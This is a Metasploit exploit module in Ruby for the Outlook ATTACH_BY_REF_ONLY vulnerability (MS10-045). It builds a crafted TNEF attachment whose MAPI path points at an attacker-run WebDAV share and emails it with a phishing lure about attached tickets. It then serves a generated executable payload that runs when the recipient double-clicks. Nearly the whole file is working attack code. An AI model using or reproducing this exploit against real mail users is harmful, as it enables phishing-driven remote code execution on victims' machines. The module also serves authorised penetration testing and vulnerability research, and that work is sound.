##
# $Id: ms10_045_outlook_ref_only.rb 10389 2010-09-20 04:38:13Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
# This module acts as an HTTP server
include Msf::Exploit::Remote::HttpServer::HTML
# This module also sends email
include Msf::Exploit::Remote::SMTPDeliver
# This module generates an EXE
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Outlook ATTACH_BY_REF_ONLY File Execution',
'Description' => %q{
It has been discovered that certain e-mail message cause Outlook to create Windows
shortcut-like attachments or messages within Outlook. Through specially crafted TNEF
streams with certain MAPI attachment properties, it is possible to set a path name
to files to be executed. When a user double clicks on such an attachment or message,
Outlook will proceed to execute the file that is set by the path name value. These
files can be local files, but also file stored remotely for example on a file share.
Exploitation is limited by the fact that its is not possible for attackers to supply
command line options.
},
'Author' => 'Yorick Koster <yorick@akitasecurity.nl>',
'Version' => '$Revision: 10389 $',
'References' =>
[
['MSB', 'MS10-045'],
['CVE', '2010-0266'],
['OSVDB', '66296'],
['BID', '41446'],
['URL', 'http://www.akitasecurity.nl/advisory.php?id=AK20091001'],
],
'Stance' => Msf::Exploit::Stance::Passive,
'Payload' =>
{
'Space' => 1024,
'Compat' =>
{
'ConnectionType' => '-bind -find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Jun 01 2010',
'DefaultTarget' => 0
))
register_options(
[
#
# Email options
#
OptString.new('MESSAGECLASS',
[false, 'Message Class value', 'IPM.Note']),
OptString.new('FILENAME',
[false, 'Sets the file name that is displayed in the message', 'clickme.jpg']),
OptBool.new('HTML',
[false, 'Send email in HTML or plain text', true]),
OptString.new('MESSAGE',
[false, 'Email message text', 'Dear Madam, Sir,\\n\\nWe have attached your tickets to this message.\\n\\nKind regards,\\n\\nEve']),
#
# WebDAV options
#
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]),
OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
], self.class)
deregister_options('SSL', 'SSLVersion') # Just for now
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
print_error("Unexpected request method encountered: #{request.method}")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
webdav = "\\\\#{myhost}\\"
if (request.uri =~ /\.exe$/i)
print_status "Sending EXE payload #{cli.peerhost}:#{cli.peerport} ..."
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
print_status "Sending 404 to #{cli.peerhost}:#{cli.peerport} ..."
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
headers = {
'MS-Author-Via' => 'DAV',
# 'DASL' => '<DAV:sql>',
# 'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
resp = create_response(207, "Multi-Status")
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
body = ''
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "http://#{my_host}/"
if path =~ /\.exe$/i
# Response for the DLL
print_status("Sending EXE multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_dll}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
return
end
if path !~ /\/$/
if path.index(".")
print_status("Sending 404 for #{path} ...")
resp = create_response(404, "Not Found")
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
else
print_status("Sending 301 for #{path} ...")
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_exe}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << subdirectory
else
body << files
end
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def exploit
unc = nil
if (datastore['UNCHOST'])
unc = datastore['UNCHOST'].dup
else
unc = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
end
@exploit_unc_host = unc
@exploit_unc = "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\"
@exploit_exe = rand_text_alpha(rand(8)+4) + ".exe"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
msg = Rex::MIME::Message.new
msg.mime_defaults
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
msg.to = datastore['MAILTO']
msg.from = datastore['MAILFROM']
if datastore['HTML'] == true
body = create_email_body_html(datastore['MESSAGE'], msg.subject)
content_type = "text/html; charset=\"iso-8859-1\""
msg.add_part(body, content_type, 'quoted-printable')
else
body = create_email_body(datastore['MESSAGE'])
content_type = 'text/plain'
msg.add_part(body, content_type, '8bit')
end
attachment = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n")
content_type = 'application/ms-tnef'
content_disposition = "attachment; name=\"winmail.dat\""
msg.add_part(attachment, content_type, 'base64', content_disposition)
print_status("Sending message to the target...")
send_message(msg.to_s)
print_status("Creating WebDAV service and waiting for connections...")
super
end
def create_email_body(body)
body = body.gsub(/\\[nr]/, "\n")
body = body.gsub(/\\t/, "\t")
return body
end
def create_email_body_html(body, subject)
body = body.gsub(/\\[nr]/, "<BR>\n")
body = body.gsub(/\\t/, " ")
body = "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2//EN\">\n<HTML>\n<HEAD>\n<META HTTP-EQUIV=\"Content-Type\" CONTENT=\"text/html; charset=iso-8859-=\n1\">\n<TITLE>" << subject << "</TITLE>\n</HEAD>\n<BODY>\n" << body << "\n<BR><BR>\n</BODY>\n</HTML>"
return body
end
def create_tnef_exploit
filename = (datastore['FILENAME'] || 'clickme.png') << "\x00"
message_class = (datastore['MESSAGECLASS'] || 'IPM.Note') << "\x00"
pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}?.dat\x00"
print_status("Using UNC path: #{pathname}")
# start of TNEF stream
sploit = create_tnef_header
# MAPI message properties
msgprops = "\x04\x00\x00\x00" # Count 4
msgprops << "\x0b\x00" # Type PT_BOOLEAN
msgprops << "\x1b\x0e" # Name PR_HASATTACH
msgprops << "\x01\x00\x00\x00" # Value data 1
msgprops << "\x1e\x00" # Type PT_STRING
msgprops << "\x1a\x00" # Name PR_MESSAGE_CLASS
msgprops << "\x01\x00\x00\x00" # Count values 1
msgprops << [message_class.length].pack("V") # Value length
msgprops << mapi_pad(message_class) # Value data
msgprops << "\x03\x00" # Type PT_INT
msgprops << "\xfe\x0f" # Name PR_OBJECT_TYPE
msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5)
msgprops << "\x03\x00" # Type PT_INT
msgprops << "\x07\x0e" # Name PR_MESSAGE_FLAGS
msgprops << "\x12\x00\x00\x00" # Value data 0x00000012
# add properties to TNEF stream
sploit << "\x01" # Level type LVL_MESSAGE
sploit << "\x03\x90" # Name attMAPIProps (0x9003)
sploit << "\x06\x00" # Type atpByte (0x0006)
sploit << [msgprops.length].pack('V') # Len
sploit << msgprops
sploit << tnef_checksum(msgprops)
# start of TNEF attachment
sploit << "\x02" # Level type LVL_ATTACHMENT
sploit << "\x02\x90" # Name attAttachRenddata (0x9002)
sploit << "\x06\x00" # Type atpByte (0x0006)
sploit << "\x0e\x00\x00\x00" # Len 0x0000000e
sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00"
sploit << "\x3d\x04" # Checksum
# MAPI attachment properties
attprops = "\x04\x00\x00\x00" # Count 4
attprops << "\x1e\x00" # Type PT_STRING
attprops << "\x07\x37" # Name PR_ATTACH_LONG_FILENAME
attprops << "\x01\x00\x00\x00" # Count values 1
attprops << [filename.length].pack('V') # Value length
attprops << mapi_pad(filename) # Value data
attprops << "\x1e\x00" # Type PT_STRING
attprops << "\x0d\x37" # Name PR_ATTACH_LONG_PATHNAME
attprops << "\x01\x00\x00\x00" # Count values 1
attprops << [pathname.length].pack('V') # Value length
attprops << mapi_pad(pathname) # Value data
attprops << "\x03\x00" # Type PT_INT
attprops << "\x05\x37" # Name PR_ATTACH_METHOD
attprops << "\x04\x00\x00\x00" # Value data ATTACH_BY_REF_ONLY (4)
attprops << "\x03\x00" # Type PT_INT
attprops << "\xfe\x0f" # Name PR_OBJECT_TYPE
attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7)
# add properties to TNEF stream
sploit << "\x02" # Level type LVL_ATTACHMENT
sploit << "\x05\x90" # Name attAttachment (0x800f)
sploit << "\x06\x00" # Type atpByte (0x0006)
sploit << [attprops.length].pack('V') # Len
sploit << attprops
sploit << tnef_checksum(attprops)
return sploit
end
def create_tnef_header
# TNEF Header
buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78
buf << "\x00\x00" # Key
# TNEF Attributes
buf << "\x01" # Level type LVL_MESSAGE
buf << "\x06\x90" # Name attTnefVersion (0x9006)
buf << "\x08\x00" # Type atpDword (0x0008)
buf << "\x04\x00\x00\x00" # Len 0x00000004
buf << "\x00\x00\x01\x00"
buf << "\x01\x00" # Checksum
buf << "\x01" # Level type LVL_MESSAGE
buf << "\x07\x90" # Name attOemCodepage (0x9007)
buf << "\x06\x00" # Type atpByte (0x0006)
buf << "\x08\x00\x00\x00" # Len 0x00000008
buf << "\xe4\x04\x00\x00\x00\x00\x00\x00"
buf << "\xe8\x00" # Checksum
buf << "\x01" # Level type LVL_MESSAGE
buf << "\x0d\x80" # Name attPriority (0x800d)
buf << "\x04\x00" # Type atpShort (0x0004)
buf << "\x02\x00\x00\x00" # Len 0x00000002
buf << "\x02\x00"
buf << "\x02\x00" # Checksum
return buf
end
def tnef_checksum(buf = '')
checksum = 0;
buf.each_byte { |b|
checksum += b
}
return [checksum % 65536].pack('v')
end
def mapi_pad(buf = '')
length = (buf.length + 3) & ~3
(buf.length..(length - 1)).each {
buf << "\x00"
}
return buf
end
end
